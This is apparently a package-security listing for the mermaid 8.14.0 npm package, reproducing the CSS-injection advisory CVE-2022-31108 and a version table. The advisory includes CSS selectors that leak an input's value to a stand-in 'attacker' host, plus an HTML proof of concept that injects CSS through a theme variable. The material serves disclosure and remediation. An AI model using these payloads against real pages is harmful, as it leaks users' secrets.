NodeJS/mermaid/8.14.0


Markdown-ish syntax for generating flowcharts, sequence diagrams, class diagrams, gantt charts and git graphs.

https://www.npmjs.com/package/mermaid
MIT

1 Security Vulnerabilities

Possible inject arbitrary `CSS` into the generated graph affecting the container HTML

Published date: 2022-07-05T18:29:31Z
CVE: CVE-2022-31108
Links:

An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.

The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to load a background image that will let an attacker know what's the value of the character.

input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address

Product

mermaid.js

Tested Version

v9.1.1

Details

Issue 1: Multiple CSS Injection (GHSL-2022-036)

By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.

Snippet from src/styles.js:

const getStyles = (type, userStyles, options) => {
  return ` {
    font-family: ${options.fontFamily};
    font-size: ${options.fontSize};
    fill: ${options.textColor}
  }

For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.

<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>

In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:

Impact

This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.

Remediation

Ensure that user input is adequately escaped before embedding it in CSS blocks.

Affected versions: ["8.0.0", "8.1.0", "8.2.1", "8.2.2", "8.2.3", "8.2.4", "8.2.5", "8.2.6", "8.3.0", "8.3.1", "8.4.0", "8.4.1", "8.4.2", "8.4.3", "8.4.4", "8.4.5", "8.4.6", "8.4.7", "8.4.8", "8.5.0", "8.5.1", "8.5.2", "8.6.0", "8.6.1", "8.6.2", "8.6.3", "8.6.4", "8.7.0", "8.8.0", "8.8.1", "8.8.2", "8.8.3", "8.8.4", "8.9.0", "8.9.1", "8.9.2", "8.9.3", "8.10.1", "8.10.2", "8.11.0", "8.11.1", "8.11.2", "8.11.3", "8.11.4", "8.11.5", "8.12.0", "8.12.1", "8.13.0", "8.13.1", "8.13.2", "8.13.3", "8.13.4", "8.13.5", "8.13.6", "8.13.7", "8.13.8", "8.13.9", "8.13.10", "8.14.0-rc1", "8.14.0", "9.0.0", "9.0.1", "9.1.0", "9.1.1"]
Secure versions: [9.1.2, 9.1.3, 9.1.4, 9.1.5, 9.1.6, 9.2.0-rc1, 9.1.7, 9.2.0-rc2, 9.2.0-rc3, 9.2.0-rc4, 9.2.0-rc5, 9.2.0-rc6, 9.2.0-rc7, 9.2.0-rc8, 9.2.0-rc9, 9.2.0-rc10, 9.2.0, 9.2.1, 9.2.2-rc.2, 9.2.2, 9.2.3-rc.1, 9.3.0-rc.1, 9.3.0-rc.2, 9.3.0-rc.3, 9.3.0-rc.4, 9.3.0-rc.5, 9.3.0-rc.6, 9.3.0-rc.7, 9.3.0, 9.4.0-rc.1, 9.4.0-rc.2, 9.4.0, 9.4.2-rc.1, 10.0.0-rc.1, 10.0.0-rc.2, 10.0.0-rc.3, 10.0.0-rc.4, 10.0.0, 10.0.1-rc.1, 10.0.1-rc.2, 10.0.1-rc.3, 9.4.2-rc.2, 10.0.1-rc.4, 10.0.1-rc.5, 10.0.1, 10.0.2-rc.1, 10.0.2, 10.0.3-alpha.1, 9.4.2, 9.4.3, 10.1.0-rc.1, 10.1.0, 10.2.0-rc.1, 10.2.0-rc.2, 10.2.0-rc.3, 10.2.0-rc.4, 10.2.0, 10.2.1-rc.1, 10.2.1, 10.2.2, 10.2.3-rc.1, 10.2.3, 10.2.4-rc.1, 10.2.4, 10.3.0-rc.1, 10.3.0, 10.3.1, 11.0.0-alpha.1, 11.0.0-alpha.2, 11.0.0-alpha.3, 11.0.0-alpha.4, 10.4.0, 10.5.0-alpha.1, 10.5.0-rc.1, 10.5.0-rc.3, 10.5.0, 10.5.1, 10.6.0, 10.6.1, 11.0.0-alpha.5, 10.6.2-rc.1, 11.0.0-alpha.6, 10.6.2-rc.2, 10.6.2-rc.3, 10.7.0, 10.8.0, 10.9.0-rc.1, 10.9.0-rc.2, 10.9.0, 11.0.0-alpha.7]
Recommendation: Update to version 10.9.0.

223 Other Versions

Version License Security Released
11.0.0-alpha.7 MIT 2024-03-23 - 13:27 about 1 month
11.0.0-alpha.6 MIT 2023-11-26 - 15:49 5 months
11.0.0-alpha.5 MIT 2023-11-24 - 08:39 5 months
11.0.0-alpha.4 MIT 2023-08-16 - 05:32 9 months
11.0.0-alpha.3 MIT 2023-08-14 - 03:42 9 months
11.0.0-alpha.2 MIT 2023-08-12 - 16:02 9 months
11.0.0-alpha.1 MIT 2023-08-12 - 10:56 9 months
10.9.0 MIT 2024-03-05 - 17:25 about 2 months
10.9.0-rc.2 MIT 2024-02-29 - 03:14 2 months
10.9.0-rc.1 MIT 2024-02-27 - 08:51 2 months
10.8.0 MIT 2024-02-02 - 10:32 3 months
10.7.0 MIT 2024-01-15 - 09:02 4 months
10.6.2-rc.3 MIT 2024-01-11 - 04:58 4 months
10.6.2-rc.2 MIT 2023-12-04 - 06:52 5 months
10.6.2-rc.1 MIT 2023-11-24 - 08:43 5 months
10.6.1 MIT 2023-11-06 - 15:05 6 months
10.6.0 MIT 2023-10-25 - 11:29 6 months
10.5.1 MIT 2023-10-20 - 12:29 7 months
10.5.0 MIT 2023-10-02 - 08:02 7 months
10.5.0-rc.3 MIT 2023-10-02 - 07:50 7 months
10.5.0-rc.1 MIT 2023-09-14 - 08:38 8 months
10.5.0-alpha.1 MIT 2023-09-07 - 07:23 8 months
10.4.0 MIT 2023-08-25 - 12:21 8 months
10.3.1 MIT 2023-08-11 - 12:22 9 months
10.3.0 MIT 2023-07-26 - 07:47 9 months
10.3.0-rc.1 MIT 2023-07-26 - 06:07 9 months
10.2.4 MIT 2023-06-30 - 11:14 10 months
10.2.4-rc.1 MIT 2023-06-30 - 10:57 10 months
10.2.3 MIT 2023-06-08 - 14:27 11 months
10.2.3-rc.1 MIT 2023-06-08 - 14:21 11 months
10.2.2 MIT 2023-06-02 - 08:03 11 months
10.2.1 MIT 2023-06-01 - 11:11 11 months
10.2.1-rc.1 MIT 2023-06-01 - 09:22 11 months
10.2.0 MIT 2023-05-24 - 17:13 12 months
10.2.0-rc.4 MIT 2023-05-24 - 16:25 12 months
10.2.0-rc.3 MIT 2023-05-09 - 04:46 12 months
10.2.0-rc.2 MIT 2023-04-23 - 19:05 about 1 year
10.2.0-rc.1 MIT 2023-04-23 - 18:52 about 1 year
10.1.0 MIT 2023-04-04 - 13:17 about 1 year
10.1.0-rc.1 MIT 2023-04-03 - 12:46 about 1 year
10.0.3-alpha.1 MIT 2023-03-07 - 03:54 about 1 year
10.0.2 MIT 2023-03-02 - 12:45 about 1 year
10.0.2-rc.1 MIT 2023-03-01 - 17:45 about 1 year
10.0.1 MIT 2023-03-01 - 13:17 about 1 year
10.0.1-rc.5 MIT 2023-03-01 - 12:55 about 1 year
10.0.1-rc.4 MIT 2023-03-01 - 08:33 about 1 year
10.0.1-rc.3 MIT 2023-02-28 - 14:34 about 1 year
10.0.1-rc.2 MIT 2023-02-24 - 14:16 about 1 year
10.0.1-rc.1 MIT 2023-02-24 - 12:57 about 1 year
10.0.0 MIT 2023-02-21 - 09:21 about 1 year
10.0.0-rc.4 MIT 2023-02-19 - 17:01 about 1 year
10.0.0-rc.3 MIT 2023-02-19 - 14:36 about 1 year
10.0.0-rc.2 MIT 2023-02-19 - 13:05 about 1 year
10.0.0-rc.1 MIT 2023-02-19 - 08:41 about 1 year
9.4.3 MIT 2023-03-07 - 18:40 about 1 year
9.4.2 MIT 2023-03-07 - 15:50 about 1 year
9.4.2-rc.2 MIT 2023-02-28 - 16:21 about 1 year
9.4.2-rc.1 MIT 2023-02-18 - 18:20 about 1 year
9.4.0 MIT 2023-02-15 - 15:18 about 1 year
9.4.0-rc.2 MIT 2023-02-10 - 10:12 about 1 year
9.4.0-rc.1 MIT 2023-01-30 - 09:18 over 1 year
9.3.0 MIT 2022-12-15 - 09:19 over 1 year
9.3.0-rc.7 MIT 2022-12-15 - 03:43 over 1 year
9.3.0-rc.6 MIT 2022-12-14 - 04:16 over 1 year
9.3.0-rc.5 MIT 2022-12-13 - 08:13 over 1 year
9.3.0-rc.4 MIT 2022-12-12 - 19:09 over 1 year
9.3.0-rc.3 MIT 2022-12-12 - 18:54 over 1 year
9.3.0-rc.2 MIT 2022-12-12 - 18:26 over 1 year
9.3.0-rc.1 MIT 2022-12-08 - 14:12 over 1 year
9.2.3-rc.1 MIT 2022-11-16 - 07:45 over 1 year
9.2.2 MIT 2022-11-09 - 15:21 over 1 year
9.2.2-rc.2 MIT 2022-11-09 - 09:30 over 1 year
9.2.1 MIT 2022-11-08 - 15:48 over 1 year
9.2.0 MIT 2022-11-01 - 14:15 over 1 year
9.2.0-rc10 MIT 2022-10-28 - 07:49 over 1 year
9.2.0-rc9 MIT 2022-10-24 - 08:33 over 1 year
9.2.0-rc8 MIT 2022-10-20 - 04:54 over 1 year
9.2.0-rc7 MIT 2022-10-19 - 06:03 over 1 year
9.2.0-rc6 MIT 2022-10-14 - 13:24 over 1 year
9.2.0-rc5 MIT 2022-10-12 - 07:38 over 1 year
9.2.0-rc4 MIT 2022-10-11 - 09:24 over 1 year
9.2.0-rc3 MIT 2022-10-11 - 07:30 over 1 year
9.2.0-rc2 MIT 2022-09-28 - 11:04 over 1 year
9.2.0-rc1 MIT 2022-09-09 - 13:15 over 1 year
9.1.7 MIT 2022-09-13 - 17:50 over 1 year
9.1.6 MIT 2022-08-18 - 18:41 over 1 year
9.1.5 MIT 2022-08-11 - 18:31 over 1 year
9.1.4 MIT 2022-08-04 - 18:35 over 1 year
9.1.3 MIT 2022-06-28 - 18:09 almost 2 years
9.1.2 MIT 2022-06-14 - 17:33 almost 2 years
9.1.1 MIT 1 2022-05-11 - 12:27 almost 2 years
9.1.0 MIT 1 2022-05-10 - 16:44 almost 2 years
9.0.1 MIT 1 2022-04-21 - 20:05 about 2 years
9.0.0 MIT 1 2022-04-07 - 18:44 about 2 years
8.14.0 MIT 1 2022-02-10 - 17:52 about 2 years
8.14.0-rc1 MIT 1 2022-01-22 - 12:33 over 2 years
8.13.10 MIT 1 2022-01-22 - 09:07 over 2 years
8.13.9 MIT 1 2022-01-16 - 15:07 over 2 years
8.13.8 MIT 1 2021-12-29 - 10:23 over 2 years
8.13.7 MIT 2 2021-12-23 - 10:18 over 2 years